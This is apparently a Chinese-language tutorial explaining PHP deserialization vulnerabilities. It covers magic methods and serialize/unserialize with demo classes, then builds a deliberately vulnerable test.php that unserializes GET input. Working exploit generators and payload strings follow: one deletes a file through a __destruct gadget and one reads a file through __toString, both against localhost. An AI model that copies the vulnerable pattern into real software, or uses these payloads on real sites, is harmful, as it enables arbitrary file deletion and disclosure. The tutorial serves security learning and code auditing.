❤何为php反序列化
序列化把本来不能直接存储的数据转换成可存储的数据,并且不会丢掉数据格式,而反序列化就是把序列化的数据,转换成我们需要的格式,序列化和反序列化互为逆过程
php反序列化本身不危险,但是反序列化过程中,传入的参数可以被外部用户控制就会造成很大的危害。
❤php类可能会包含一些特殊的函数,名为magic函数,magic函数命名是以符号“__”开头的,比如__construct, __destruct,__toString, __sleep, __wakeup,这些函数在某些情况下会自动调用,例如:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
对于魔术函数的详解:PHP: 魔术方法 - Manual
❤理解php反序列化 需要理解php面向对象编程
结合具体的代码进行理解
<?php class TestClass #定义了一个类TestClass { public $variable='this is a string'; #定义了一个变量variable ‘this is string’ public function PrintVariable() #定义了类当中的一个方法 { echo $this->variable; #输出类当中的一个属性variable } } $object=new TestClass(); #根据当前类创建了一个对象 $object->PrintVariable(); #对象调用类当中的方法(函数) ?>
结合另一段代码来理解php当中的魔术函数
<?php class TestClass { public $variable='this is a string'; public function PrintVariable() { echo $this->variable . '<br />'; } //为了便于理解将这几个魔术函数的输出的值均修改 public function __construct() //__construct()函数创建一个新的对象会被调用 { echo '_construct <br />'; } public function __destruct() //__destruct()函数,php脚本结束的时候会被调用 { echo '_destruct <br />'; } public function __toString() //__tostring()对象被当作一个字符串时会被调用 { return '_toString<br />'; } } $object=new TestClass(); //这里创建了一个对象 所以__construct会被调用 $object->PrintVariable(); //这里创建了一个新的方法 this is string会被调用 echo $object; //php脚本结束 __destruct会被调用 ?>
输出的结果
了解了php当中的魔术函数,回到php反序列化的讨论当中来
为什么要存在反序列化
在变量的传递过程中,可能需要跨脚本进行变量的传递,但是当一个脚本执行完成之后,其对应的类方法对象等都会随之释放。所以就需要对代码进行序列化和反序列化,在php当中主要利用serialize和unserialize进行序列化和反序列化。
serialize可以将变量转换为字符串,并且在转换中可以保存当前变量的值;而unserialize则可以将serialize生成的字符串变换回变量。
seriallize实现的过程就是一个序列化的过程
unserialize实现的过程就是一个反序列化的过程,在反序列化的过程中经历特定的一些条件可以重构php当中的对象并且执行php对象中的某些魔术函数。(在这个过程中就会产生反序列的漏洞)
结合具体的代码来理解序列化
<?php class User { public $age=0; public $name=''; public function PrintData() { echo 'User' . $this->name . 'is' . $this->age . 'years old. <br />'; } } $usr= new User(); $usr->age=20; $usr->name='john'; $usr->PrintData(); $usr->PrintData(); echo serialize($usr); //对数据进行序列化处理 ?>
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";} 就是对象user序列化之后的形式就是对象usr进行序列化处理得到的
将对象序列化之后,再对其进行反序列化处理就可以得到原来的数据
<?php class User { public $age=0; public $name=''; public function PrintData() { echo 'User' . $this->name . 'is' . $this->age . 'years old. <br />'; } } //将之前序列化得到的数据反序列化之后得到原来的对象 $usr=unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); $usr->PrintData(); ?>
在对象被序列化的时候 _sleep magic方法会被调用
在对象被序列化的时候 _wakeup magic方法会被调用
再结合具体的代码来理解php当中魔术函数的调用 和序列化与反序列化时调用的魔术函数
<?php class Test { public $variable = 'BUZZ'; public $variable2='OTHER'; public function PrintVariable() { echo $this->variable.'<br />'; } public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('variable','variable2'); } } $obj = new Test(); //创建一个对象,会调用__construct $serialized=serialize($obj); //对 对象进行序列化的时候,会调用__sleep print 'Serialized:'. $serialized . '<br />';//输出序列化后的字符串 $obj2=unserialize($serialized); //重建对象 也就是反序列化字符串 会调用__wakeup $obj2->PrintVariable(); ?>
执行结果
详细解析了序列化,反序列的过程中调用的魔术函数,以及一些常见的魔术函数。接下来上实操,结合具体的漏洞来进行分析
♥反序列化简单漏洞解析
<?php class LogFile { public $filename ='error.log'; //日志文件名 public function LogData($text) //写入数据的代码 { echo 'Log some data:' . $text . '<br />'; file_put_contents($this->filename,$text,FILE_APPEND); } public function __destruct() //定义了__destruct(),删除文件 { echo '__destruct deletes"' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>
当日志被存储进行文件时,__destruct被调用,日志文件会被删除
再结合这个类 传入外部参数类就可以实现对上一个删除的利用 这个php文件命名为 test.php
<?php include 'logfile.php'; class User { public $age=0; public $name=''; public function PrintData() { echo 'User' . $this->name . 'is'.$this->age . 'years old . <br />'; } } $usr=unserialize($_GET['usr_serialized']); ?>
这里我们写了一个简单的php文件进行实验。访问2.php的文件
使用的payload
<?php include 'logfile.php'; //调用第一个日志记录的类文件 $obj=new LogFile(); $obj->filename='2.php'; echo serialize($obj) . '<br />'; ?>
将需要操作的攻击参数进行序列化处理
得到序列化之后的字符串
在test.php当中使用了get方法来获取外部的参数 这里我们可以将序列化的字符传给get方法获取的参数实现这个漏洞的利用
将这串序列化后的字符 O:7:"LogFile":1:{s:8:"filename";s:5:"2.php";}
这里我们就可以构造payload http://127.0.0.1/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"2.php";}
执行这个payload得到 文件已经成功删除
再次访问对应的url 文件已经成功删除
♥再结合一个列子进行分析
<?php class FileClass { public $filename='error.log'; public function __toString() //php当中的__tostring()魔术函数 当对象被当作字符串时就会执行下列的代码 { return file_get_contents($this->filename); //读取文件 } } class User { public $age=0; public $name=''; public function __toString() { return 'User' . $this->name . 'is' . $this->age . 'years old. <br />'; //设置数据的格式输出的数据为字符串 } } $obj=unserialize($_GET['usr_serialized']); //同样参数外部可控 echo $obj; ?>
构造的exp文件
<?php include 'test2.php'; //载入之前的php代码 $obj=new FileClass(); //在FileClass类进行实列化处理 $obj->filename='1.txt'; //传入参数 echo serialize($obj) . '<br />'; //序列化变量的值 ?>
得到payload
拼接url 载入payload 读出1.txt文件当中的内容
以上对php反序列化的简单学习主要是对__tostring __destruct两个php魔术函数的,触发条件的利用,将payload序列化然后进行对应的传参,以达到利用的目的。对于这种漏洞的利用,需要在有源码的前提下对源码进行审计,找到相应的利用点和参数进行利用。